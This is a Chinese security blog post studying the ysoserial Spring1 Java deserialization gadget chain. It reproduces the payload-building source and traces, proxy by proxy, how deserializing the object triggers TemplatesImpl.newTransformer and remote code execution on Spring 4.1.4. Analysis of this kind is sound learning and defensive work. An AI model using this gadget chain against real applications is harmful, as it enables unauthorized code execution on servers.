freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化学习-ysoserial-Spring1
2023-06-14 10:56:45
所属地 浙江省

Spring1

源码

  • org.springframework:spring-core:4.1.4.RELEASE
  • org.springframework:spring-beans:4.1.4.RELEASE

Spring1的代码颇有感触,真的是代理套代理

package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy),forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args);}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();}
}

老样子直接从Spring1#getObject方法开始分析。

第一层代理

final Object templates = Gadgets.createTemplatesImpl(command);

这行代码在前面的文章已经见过很多次了,利用org.apache.xalan.xsltc.trax.TemplatesImpl的属性_bytecodes存放字节码,这个字节码会在newTransformer方法中一步步调用变成一个对象执行里面的恶意代码,利用javassist技术把一个带有恶意代码的对象赋值给变量templates

image-20230613095730169image-20230613095730169
ObjectFactory objectFactoryProxy = (ObjectFactory)Gadgets.createMemoitizedProxy(
Gadgets.createMap("getObject", templates), 
ObjectFactory.class, 
new Class[0]);

这里开始第一层代理的创建,先进入Gadgets.createMap("getObject", templates),创建了一个Map对象map,只有一对键值"getObject":templates,把我们之前构造好的恶意对象templates给放进map里了

image-20230613100229650image-20230613100229650

接着进入Gadgets.createMemoitizedProxy

image-20230613163929435image-20230613163929435

进入createMemoitizedProxy之后首先执行的是createMemoizedInvocationHandler

public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
}

Reflections.getFirstCtor获取类的第一个构造方法,newInstance实例化一个对象。创建了AnnotationInvocationHandler对象并且把上一步的map赋值给属性memberValuesAnnotationInvocationHandler是一个重写invoke方法的InvocationHandler实现类,是创建代理必须的参数之一,在代理创建好之后,调用代理目标的方法,会先执行代理对象的invoke方法。

image-20230613162235667image-20230613162235667

回到createMemoitizedProxy方法进入createProxy开始创建代理,前面先创建了一个数组allIfaces,接着把iface和ifaces的元素复制到allIfaces

image-20230613164107866image-20230613164107866

最后进入Proxy.newProxyInstance开始实例化代理对象,allIfaces数组中的元素代表了这个代理的目标接口类型,在调用这些元素的方法时会调用ih的invoke方法

第二层代理

final Type typeTemplatesProxy =       Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), 
Type.class, 
Templates.class);

Gadgets.createProxy((InvocationHandler)Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy)这里获取到ObjectFactoryDelegatingInvocationHandler的构造方法。这里需要注意的是,传入的参数使第一层代理objectFactoryProxy,并把第一层代理赋值给属性objectFactory

image-20230613155912985image-20230613155912985

实例化ObjectFactoryDelegatingInvocationHandler之后进入createProxy,留意一下代理目标和代理对象

image-20230613181700877image-20230613181700877

第三层代理

final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

一如既往的先创建Map对象,重点看一下forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"),这一次的代理目标变成SerializableTypeWrapper中的TypeProvider

interface TypeProvider extends Serializable {
Type getType();
Object getSource();}
image-20230613182414585image-20230613182414585

MethodInvokeTypeProvider

SerializableTypeWrapper$MethodInvokeTypeProvider

Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");

代理创建完成之后,通过getFirstCtor获取MethodInvokeTypeProvider的构造方法,赋值给mitpCtor,紧接着实例化MethodInvokeTypeProvider

Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);

需要注意的是newInstance的参数,这样实例化出来的MethodInvokeTypeProvider对象,provider属性是第三层代理

image-20230613183950557image-20230613183950557

得到MethodInvokeTypeProvider对象之后使用setFieldValue把methodName属性替换成newTransformer

Reflections.setFieldValue(mitp, "methodName", "newTransformer");

返回MethodInvokeTypeProvider对象mitp

总结

得到mitp会先被序列化得到最终的payload。我们从反序列化触发,逆推上面的过程。

首先来到MethodInvokeTypeProvider重写的readObject

image-20230613200655280image-20230613200655280

执行的时Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);执行了getType,但是没有弹出计算器说明这次执行getType并没有调用newTransformer方法

image-20230613195441764image-20230613195441764image-20230613192436188image-20230613192436188

getType往下分析,由于provider属性是第三层代理对象,先去执行了AnnotationInvocationHandlerinvoke,var2就是代理的方法也就是getType,会执行到Object var6 = this.memberValues.get(var4);

image-20230613192723461image-20230613192723461

memberValues属性是一个Map对象,memberValues"getType"在getObject时被指向typeTemplatesProxy也就是第二层代理。

image-20230613193019669image-20230613193019669

Object var6 = this.memberValues.get(var4);最后return的var6是第二层代理,拿到第二层代理之后又执行了getClass

image-20230614095424788image-20230614095424788

于是顺理成章进入第二层代理的invoke,第二层代理的invoke位于org.springframework.beans.factory.support.AutowireUtils的ObjectFactoryDelegatingInvocationHandler

image-20230613193335925image-20230613193335925

在第二层代理的invoke方法又调用了objectFactory属性的getObject方法,objectFactory是一个Map并且键"getObject"在Spring1的getObject时被指向templates也就是第一层代理

image-20230613193810302image-20230613193810302

这时候进入第一层代理,在第一层代理中又调用了memberValues属性的get方法,memberValues属性也是一个map,在第二层代理中调用的是getObject方法所以获取到var4就是"getObject",在memberValues"getObject"对应的值刚好是我们创建的恶意对象templates

image-20230614095752896image-20230614095752896image-20230614100025443image-20230614100025443

templates被一路return,templates中存在newTransformer方法,所以最后method的值变成了templatesnewTransformer方法,一串代理链路最好至少返回了templates对象并没有调用newTransformer所以没有执行命令。

image-20230614100427062image-20230614100427062

接着进入ReflectionUtils.invokeMethod(method, this.provider.getType());,需要注意的是,这里又执行了this.provider.getType()所以进入invokeMethod方法的参数一个是newTransformer方法、第二层代理。

image-20230614102333344image-20230614102333344

继续向下走,这里补充一点,method.invoke(target, args)方法会传入两个参数:

  • target:要调用方法的目标对象。如果方法是静态的,则可以为 null。
  • args:传递给被调用方法的参数列表。如果方法没有参数,则应该传入一个长度为 0 的空数组。
image-20230614102804540image-20230614102804540

由于target是一个代理就再次进入了第二层代理的invoke

image-20230614102935352image-20230614102935352

最后又获得了TemplatesImpl又调用了他的newTransformer成功RCE

image-20230614103053357image-20230614103053357
# java反序列化 # Java代码审计 # ysoserial
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录